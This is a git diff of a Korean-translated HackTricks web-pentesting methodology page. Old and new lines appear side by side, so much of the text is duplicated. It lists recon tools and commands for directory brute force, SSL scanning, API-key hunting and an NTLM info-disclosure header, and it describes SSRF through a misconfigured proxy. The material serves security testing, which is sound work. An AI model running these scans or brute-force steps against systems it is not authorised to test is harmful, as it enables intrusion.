* PATCH, DEBUG 또는 FAKE와 같은 **다양한 HTTP 동사** 시도
* PATCH, DEBUG 또는 FAKE와 같은 **다 HTTP 동사** 시도
#### **파일 업로드 가능 여부 확인 (**[**PUT 동사, WebDav**](put-method-webdav.md)**)**
**WebDav**가 **활성화**되어 있지만 루트 폴더에 **파일 업로드**에 대한 충분한 권한이 없는 경우 다음을 시도하세요:
**WebDav**가 **활성화**되어 있지만 루트 폴더에 **파일 업로드**를 위한 충분한 권한이 없는 경우 다음을 시도하세요:
* **자격 증명** 무차별 대입
* 웹 페이지 내에서 **발견된 폴더**의 **나머지**에 WebDav를 통해 **파일 업로드**. 다른 폴더에 파일을 업로드할 수 있는 권한이 있을 수 있습니다.
### **SSL/TLS 취약점**
* 애플리케이션이 **어떤 부분에서도 HTTPS 사용을 강제하지 않는다면**, 이는 **MitM 공격에 취약합니다**
* 애플리케이션이 어느 부분에서도 **HTTPS 사용을 강제하지 않는다면**, 이는 **MitM에 취약합니다**
* 애플리케이션이 **HTTP를 사용하여 민감한 데이터(비밀번호)를 전송하는 경우**, 이는 높은 취약점입니다.
[**testssl.sh**](https://github.com/drwetter/testssl.sh)를 사용하여 **취약점**을 확인하고 (버그 바운티 프로그램에서는 이러한 종류의 취약점이 수용되지 않을 수 있습니다) [**a2sv**](https://github.com/hahwul/a2sv)를 사용하여 취약점을 재확인하세요:
@ -213,57 +213,57 @@ joomlavs.rb #https://github.com/rastating/joomlavs
sslscan <host:port>
sslyze --regular <ip:port>
```
Information about SSL/TLS vulnerabilities:
정보 SSL/TLS 취약점에 대한:
* [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
* [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
### Spidering
### 스파이더링
웹 내에서 어떤 종류의 **스파이더**를 실행합니다. 스파이더의 목표는 **테스트된 애플리케이션에서 가능한 많은 경로를 찾는 것**입니다. 따라서 웹 크롤링과 외부 소스를 사용하여 가능한 많은 유효한 경로를 찾아야 합니다.
웹 내에서 어떤 종류의 **스파이더**를 실행합니다. 스파이더의 목표는 테스트된 애플리케이션에서 **가능한 많은 경로를 찾는 것**입니다. 따라서 웹 크롤링과 외부 소스를 사용하여 가능한 많은 유효한 경로를 찾아야 합니다.
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML 스파이더, JS 파일 및 외부 소스(Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)에서 링크 찾기.
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML 스파이더, JS 파일에 대한 LinkFider 및 Archive.org를 외부 소스로 사용.
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML 스파이더, "juicy files"도 표시.
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML 스파이더, JS 파일 및 Archive.org를 외부 소스로 사용하는 LinkFinder.
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML 스파이더, "juicy files"도 표시합니다.
* [**evine** ](https://github.com/saeeddhqan/evine)(go): 대화형 CLI HTML 스파이더. Archive.org에서도 검색합니다.
* [**meg**](https://github.com/tomnomnom/meg) (go): 이 도구는 스파이더는 아니지만 유용할 수 있습니다. 호스트가 있는 파일과 경로가 있는 파일을 지정하면 meg가 각 호스트의 각 경로를 가져 응답을 저장합니다.
* [**meg**](https://github.com/tomnomnom/meg) (go): 이 도구는 스파이더는 아니지만 유용할 수 있습니다. 호스트가 있는 파일과 경로가 있는 파일을 지정하면 meg가 각 호스트의 각 경로를 가져오고 응답을 저장합니다.
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS 렌더링 기능이 있는 HTML 스파이더. 그러나 유지 관리되지 않는 것처럼 보이며, 미리 컴파일된 버전이 오래되었고 현재 코드는 컴파일되지 않습니다.
* [**gau**](https://github.com/lc/gau) (go): 외부 제공업체(wayback, otx, commoncrawl)를 사용하는 HTML 스파이더.
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 이 스크립트는 매개변수가 있는 URL을 찾아 나열합니다.
* [**galer**](https://github.com/dwisiswant0/galer) (go): JS 렌더링 기능이 있는 HTML 스파이더.
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML 스파이더, JS 파일에서 새로운 경로를 검색할 수 있는 JS beautify 기능이 있습니다. [JSScanner](https://github.com/dark-warlord14/JSScanner)도 살펴볼 가치가 있습니다. 이는 LinkFinder의 래퍼입니다.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML 소스와 내장된 자바스크립트 파일 모두에서 엔드포인트를 추출합니다. 버그 헌터, 레드 팀원, 정보 보안 전문가에게 유용합니다.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript 파일에서 상대 URL을 구문 분석하기 위해 Tornado와 JSBeautifier를 사용하는 Python 2.7 스크립트입니다. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지 관리되지 않는 것처럼 보입니다.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript 파일에서 상대 URL을 구문 분석하기 위해 Tornado와 JSBeautifier를 사용하는 Python 2.7 스크립트. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지 관리되지 않는 것처럼 보입니다.
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 파일(HTML)을 주면 멋진 정규 표현식을 사용하여 상대 URL을 찾아 추출합니다.
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, 여러 도구): 여러 도구를 사용하여 JS 파일에서 흥미로운 정보를 수집합니다.
* [**subjs**](https://github.com/lc/subjs) (go): JS 파일을 찾습니다.
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): 헤드리스 브라우저에서 페이지를 로드하고 페이지를 로드하는 데 필요한 모든 URL을 인쇄합니다.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 이전 도구의 여러 옵션을 혼합한 콘텐츠 발견 도구입니다.
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS 파일에서 경로와 매개변수를 찾기 위한 Burp 확장입니다.
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL을 주면 아름답게 정리된 JS 코드를 가져오는 도구입니다.
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 주어진 대상을 위한 엔드포인트를 발견하는 데 사용되는 도구입니다.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 이전 도구의 여러 옵션을 혼합한 콘텐츠 발견 도구.
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS 파일에서 경로와 매개변수를 찾기 위한 Burp 확장.
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL을 주면 아름답게 정리된 JS 코드를 가져오는 도구.
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 주어진 대상 엔드포인트를 발견하는 데 사용되는 도구입니다.
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback 머신에서 링크를 발견합니다(응답을 다운로드하고 더 많은 링크를 찾습니다).
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 양식 작성 및 특정 정규 표현식을 사용하여 민감한 정보를 찾습니다.
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite는 사이버 보안 전문가를 위해 설계된 고급 다기능 GUI 웹 보안 크롤러/스파이더입니다.
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL, 경로, 비밀 및 기타 흥미로운 데이터를 JavaScript 소스 코드에서 추출하기 위한 Go 패키지 및 [명령줄 도구](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)입니다.
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL, 경로, 비밀 및 JavaScript 소스 코드에서 기타 흥미로운 데이터를 추출하기 위한 Go 패키지 및 [명령줄 도구](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)입니다.
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge는 요청에서 매개변수와 엔드포인트를 추출하여 퍼징 및 열거를 위한 사용자 정의 단어 목록을 생성하는 간단한 **Burp Suite 확장**입니다.
* [**katana**](https://github.com/projectdiscovery/katana) (go): 이 작업에 대한 멋진 도구입니다.
* [**Crawley**](https://github.com/s0rg/crawley) (go): 찾을 수 있는 모든 링크를 인쇄합니다.
### Brute Force directories and files
### 디렉토리 및 파일에 대한 무차별 대입
루트 폴더에서 **브루트 포싱**을 시작하고 **이 방법**을 사용하여 발견된 **모든** **디렉토리**를 브루트 포스해야 하며, **스파이더링**에 의해 **발견된** 모든 디렉토리도 포함해야 합니다(이 브루트 포싱**재귀적으로** 수행하고 사용된 단어 목록의 시작 부분에 발견된 디렉토리 이름을 추가할 수 있습니다).\
루트 폴더에서 **무차별 대입**을 시작하고 **이 방법**을 사용하여 발견된 **모든** **디렉토리**와 **스파이더링**에 의해 **발견된** 모든 디렉토리를 무차별 대입해야 합니다(이 무차별 대입**재귀적으로** 수행하고 사용된 단어 목록의 시작 부분에 발견된 디렉토리 이름을 추가할 수 있습니다).\
도구:
* **Dirb** / **Dirbuster** - Kali에 포함되어 있으며, **오래된** (및 **느린**) 하지만 기능적입니다. 자동 서명된 인증서를 허용하고 재귀 검색을 지원합니다. 다른 옵션에 비해 너무 느립니다.
* **Dirb** / **Dirbuster** - Kali에 포함되어 있으며, **오래된** (및 **느린**) 기능이지만 작동합니다. 자동 서명된 인증서를 허용하고 재귀 검색을 지원합니다. 다른 옵션에 비해 너무 느립니다.
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 자동 서명된 인증서를 허용하지 않지만** 재귀 검색을 허용합니다.
* [**Gobuster**](https://github.com/OJ/gobuster) (go): 자동 서명된 인증서를 허용하며, **재귀** 검색이 **없습니다**.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 빠르며, 재귀 검색을 지원합니다.**
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
* [**ffuf** ](https://github.com/ffuf/ffuf)- 빠름: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
* [**uro**](https://github.com/s0md3v/uro) (python): 이 도구는 스파이더는 아니지만 발견된 URL 목록을 주면 "중복된" URL을 삭제합니다.
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 다양한 페이지의 burp 기록에서 디렉토리 목록을 생성하기 위한 Burp 확장입니다.
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 기능이 중복된 URL을 제거합니다(자바스크립트 가져오기를 기반으로).
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 다양한 페이지의 burp 기록에서 디렉토리 목록을 생성하 Burp 확장입니다.
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 기능이 중복된 URL을 제거합니다(기반 js 가져오기).
* [**Chamaleon**](https://github.com/iustin24/chameleon): 사용된 기술을 감지하기 위해 wapalyzer를 사용하고 사용할 단어 목록을 선택합니다.
**추천 사전:**
@ -271,7 +271,7 @@ Information about SSL/TLS vulnerabilities:
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
* [**Dirsearch** 포함 사전](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
* [Assetnote wordlists](https://wordlists.assetnote.io)
* [Assetnote 단어 목록](https://wordlists.assetnote.io)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
* raft-large-directories-lowercase.txt
* directory-list-2.3-medium.txt
@ -285,65 +285,65 @@ Information about SSL/TLS vulnerabilities:
* _/usr/share/wordlists/dirb/big.txt_
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_브루트 포싱이나 스파이더링 중에 새로운 디렉토리가 발견될 때마다 브루트 포싱을 해야 합니다._
_무차별 대입 또는 스파이더링 중에 새로운 디렉토리가 발견될 때마다 무차별 대입해야 합니다._
### What to check on each file found
### 발견된 각 파일에서 확인할 사항
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 인수인계가 발생할 수 있는 HTML 내의 끊어진 링크를 찾습니다.
* **파일 백업**: 모든 파일을 찾은 후, 모든 실행 파일의 백업을 찾습니다("_.php_", "_.aspx_"...). 백업 이름의 일반적인 변형은: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 및 file.old._ 도구 [**bfac**](https://github.com/mazen160/bfac) **또는** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** 사용할 수 있습니다.**
* **새로운 매개변수 발견**: [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **및** [**Param Miner**](https://github.com/PortSwigger/param-miner) **와 같은 도구를 사용하여 숨겨진 매개변수를 발견할 수 있습니다. 가능하다면 각 실행 웹 파일에서 숨겨진 매개변수를 검색해 보십시오.**
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 인수인계에 취약할 수 있는 HTML 내의 끊어진 링크를 찾습니다.
* **파일 백업**: 모든 파일을 찾은 후 실행 가능한 모든 파일("_.php_", "_.aspx_"...)의 백업을 찾습니다. 백업 이름의 일반적인 변형은: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 및 file.old._ 도구 [**bfac**](https://github.com/mazen160/bfac) **또는** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** 사용할 수 있습니다.**
* **새로운 매개변수 발견**: [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **및** [**Param Miner**](https://github.com/PortSwigger/param-miner) **와 같은 도구를 사용하여 숨겨진 매개변수를 발견할 수 있습니다. 가능하다면 각 실행 가능한 웹 파일에서 숨겨진 매개변수를 검색해 보십시오.**
* _Arjun 모든 기본 단어 목록:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
* **댓글:** 모든 파일의 댓글을 확인하십시오. **자격 증명** 또는 **숨겨진 기능**을 찾을 수 있습니다.
* **CTF**를 진행 중이라면, "일반적인" 트릭은 페이지의 **오른쪽**에 있는 댓글 안에 **정보**를 **숨기는 것**입니다(브라우저로 소스 코드를 열어도 데이터를 보지 못하도록 **수백 개의 공백**을 사용). 다른 가능성은 **여러 개의 새 줄**을 사용하고 웹 페이지의 **하단**에 있는 댓글에 **정보를 숨기는 것**입니다.
* **API 키**: **API 키**를 발견하면 다양한 플랫폼의 API 키 사용 방법을 안내하는 가이드가 있습니다: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* Google API 키: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik와 같은 API 키를 발견하면 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 프로젝트를 사용하여 키가 접근할 수 있는 API를 확인할 수 있습니다.
* **S3 버킷**: 스파이더링 중에 **서브도메인**이나 **링크**가 어떤 **S3 버킷**과 관련이 있는지 확인하십시오. 그런 경우, [**버킷의 권한을 확인하십시오**](buckets/).
* **주석:** 모든 파일의 주석을 확인하십시오. **자격 증명** 또는 **숨겨진 기능**을 찾을 수 있습니다.
* **CTF**를 진행 중이라면, "일반적인" 트릭은 페이지의 **오른쪽**에 **정보**를 **숨기는 것**입니다(브라우저로 소스 코드를 열면 데이터를 볼 수 없도록 **수백 개의 공백**을 사용). 다른 가능성은 **여러 개의 새 줄**을 사용하고 웹 페이지의 **하단**에 주석으로 **정보를 숨기는 것**입니다.
* **API 키**: **API 키**를 찾으면 다양한 플랫폼의 API 키 사용 방법을 안내하는 가이드가 있습니다: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* Google API 키: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik와 같은 API 키를 찾으면 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 프로젝트를 사용하여 키가 액세스할 수 있는 API를 확인할 수 있습니다.
* **S3 버킷**: 스파이더링 중에 **서브도메인**이나 **링크**가 **S3 버킷**과 관련이 있는지 확인하십시오. 그런 경우 [**버킷의 권한을 확인하십시오**](buckets/).
### Special findings
### 특별 발견
**스파이더링** 및 **브루트 포싱**을 수행하는 동안 **흥미로운** **것들**을 **발견할 수 있습니다**.
**스파이더링** 및 **무차별 대입**을 수행하는 동안 **흥미로운** **사항**을 **주의**해야 합니다.
**흥미로운 파일**
* **CSS** 파일 내의 다른 파일에 대한 **링크**를 찾습니다.
* [**.git**_ 파일을 발견하면 일부 정보를 추출할 수 있습니다](git.md)
* **.env**를 발견하면 API 키, DB 비밀번호 및 기타 정보를 찾을 수 있습니다.
* **API 엔드포인트**를 발견하면 [테스트해야 합니다](web-api-pentesting.md). 이들은 파일은 아니지만 아마도 "파일처럼" 보일 것입니다.
* **JS 파일**: 스파이더링 섹션에서 JS 파일에서 경로를 추출할 수 있는 여러 도구가 언급되었습니다. 또한 발견된 각 JS 파일을 **모니터링**하는 것도 흥미로울 것입니다. 어떤 경우에는 변경 사항이 코드에 잠재적인 취약점이 도입되었음을 나타낼 수 있습니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)**을 사용할 수 있습니다.**
* [**.git**_ 파일을 찾으면 일부 정보를 추출할 수 있습니다.](git.md)
* **.env**를 찾으면 API 키, DB 비밀번호 및 기타 정보를 찾을 수 있습니다.
* **API 엔드포인트**를 찾으면 [테스트해야 합니다](web-api-pentesting.md). 이들은 파일은 아니지만 아마도 "파일처럼" 보일 것입니다.
* **JS 파일**: 스파이더링 섹션에서 JS 파일에서 경로를 추출할 수 있는 여러 도구가 언급되었습니다. 또한 발견된 각 JS 파일을 **모니터링**하는 것도 흥미로울 것입니다. 경우에 따라 변경 사항이 코드에 잠재적인 취약점이 도입되었음을 나타낼 수 있습니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)**을 사용할 수 있습니다.**
* 발견된 JS 파일을 [**RetireJS**](https://github.com/retirejs/retire.js/) 또는 [**JSHole**](https://github.com/callforpapers-source/jshole)로 확인하여 취약한지 확인해야 합니다.
* **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **Javascript Deobfuscator Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
* **JsFuck deobfuscation** (문자와 함께 자바스크립트: "\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
* **JsFuck 디오브퓨케이션** (문자와 함께 자바스크립트: "\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
* 여러 경우에 **사용된 정규 표현식**을 이해해야 할 필요가 있습니다. 이는 유용할 것입니다: [https://regex101.com/](https://regex101.com)
* **양식이 감지된 파일을 모니터링**해야 하며, 매개변수의 변경이나 새로운 양식의 출현은 잠재적인 새로운 취약한 기능을 나타낼 수 있습니다.
* **양식이 감지된 파일을 모니터링**해야 합니다. 매개변수의 변경이나 새로운 양식의 출현은 잠재적인 새로운 취약한 기능을 나타낼 수 있습니다.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
**403 금지/기본 인증/401 권한 없음 (우회)**
{% content-ref url="403-and-401-bypasses.md" %}
[403-and-401-bypasses.md](403-and-401-bypasses.md)
{% endcontent-ref %}
**502 Proxy Error**
**502 프록시 오류**
어떤 페이지가 **코드**로 **응답**하면, 아마도 **잘못 구성된 프록시**일 것입니다. **`GET https://google.com HTTP/1.1`**와 같은 HTTP 요청을 보내면(호스트 헤더 및 기타 일반 헤더 포함), **프록시**는 _**google.com**_에 **접근**하려고 시도하며, 이로 인해 SSRF를 발견하게 됩니다.
어떤 페이지가 **코드**로 **응답**하면, 아마도 **잘못 구성된 프록시**일 것입니다. **`GET https://google.com HTTP/1.1`**와 같은 HTTP 요청을 보내면(호스트 헤더 및 기타 일반 헤더 포함), **프록시**는 _**google.com**_에 **접근**하려고 시도하며, 이로 인해 **SSRF**를 발견하게 됩니다.
**NTLM Authentication - Info disclosure**
**NTLM 인증 - 정보 공개**
인증을 요청하는 서버가 **Windows**이거나 **자격 증명**(및 **도메인 이름** 요청)을 요구하는 로그인 화면을 발견하면 **정보 유출**을 유발할 수 있습니다.\
**헤더**를 **보내십시오**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` 그리고 **NTLM 인증이 작동하는 방식** 때문에 서버는 "WWW-Authenticate" 헤더 내에 내부 정보(IIS 버전, Windows 버전 등...)로 응답할 것입니다.\
이 작업은 **nmap 플러그인** "_http-ntlm-info.nse_"를 사용하여 자동화할 수 있습니다.
인증을 요청하는 서버가 **Windows**이거나 **자격 증명**(및 **도메인 이름** 요청)을 요구하는 로그인 화면을 찾으면 **정보 공개**를 유발할 수 있습니다.\
**헤더를 전송하십시오**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` 그리고 **NTLM 인증이 작동하는 방식** 때문에 서버는 "WWW-Authenticate" 헤더 내에 내부 정보(IIS 버전, Windows 버전 등...)로 응답할 것입니다.\
이 작업은 **nmap 플러그인** "_http-ntlm-info.nse_"를 사용하여 **자동화**할 수 있습니다.
**HTTP Redirect (CTF)**
**HTTP 리디렉션 (CTF)**
**리디렉션** 내에 **내용**을 **넣는** 것이 가능합니다. 이 내용은 **사용자에게 표시되지 않습니다**(브라우저가 리디렉션을 실행하기 때문) 하지만 그 안에 **숨겨진** 것이 있을 수 있습니다.
**리디렉션** 내에 **내용**을 **넣는** 것이 가능합니다. 이 내용은 **사용자에게 표시되지 않습니다**(브라우저가 리디렉션을 실행하므로) 그러나 그 안에 **숨겨진** 것이 있을 수 있습니다.
### Web Vulnerabilities Checking
### 웹 취약점 확인
웹 애플리케이션에 대한 포괄적인 열거가 수행되었으므로 이제 많은 가능한 취약점을 확인할 시간입니다. 체크리스트는 여기에서 찾을 수 있습니다:
웹 애플리케이션에 대한 포괄적인 열거가 수행되었으므로 이제 가능한 많은 취약점을 확인할 시간입니다. 체크리스트는 여기에서 찾을 수 있습니다:
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
@ -355,19 +355,19 @@ _브루트 포싱이나 스파이더링 중에 새로운 디렉토리가 발견
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
* [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
### Monitor Pages for changes
### 변경 사항에 대한 페이지 모니터링
[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)와 같은 도구를 사용하여 페이지의 수정 사항을 모니터링하여 취약점을 삽입할 수 있습니다.
[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)와 같은 도구를 사용하여 취약점을 삽입할 수 있는 수정 사항을 모니터링할 수 있습니다.
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으십시오.**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하십시오.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내고 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 사용자 정의 도구를 사용하십시오.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
### HackTricks Automatic Commands
### HackTricks 자동 명령
```
Protocol_Name: Web #Protocol Abbreviation if there is one.
Port_Number: 80,443 #Comma separated if there is more than one.
@ -446,8 +446,8 @@ GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png"
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 을 공유하세요.**
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
</details>
{% endhint %}

View file

@ -17,15 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## 누락된 루트 위치 <a href="#missing-root-location" id="missing-root-location"></a>
## Missing root location <a href="#missing-root-location" id="missing-root-location"></a>
Nginx 서버를 구성할 때, **루트 지시어**는 파일이 제공되는 기본 디렉토리를 정의함으로써 중요한 역할을 합니다. 아래 예를 고려하세요:
Nginx 서버를 구성할 때, **root directive**는 파일이 제공되는 기본 디렉토리를 정의함으로써 중요한 역할을 합니다. 아래 예를 고려하세요:
```bash
server {
root /etc/nginx;
@ -36,7 +36,7 @@ proxy_pass http://127.0.0.1:8080/;
}
}
```
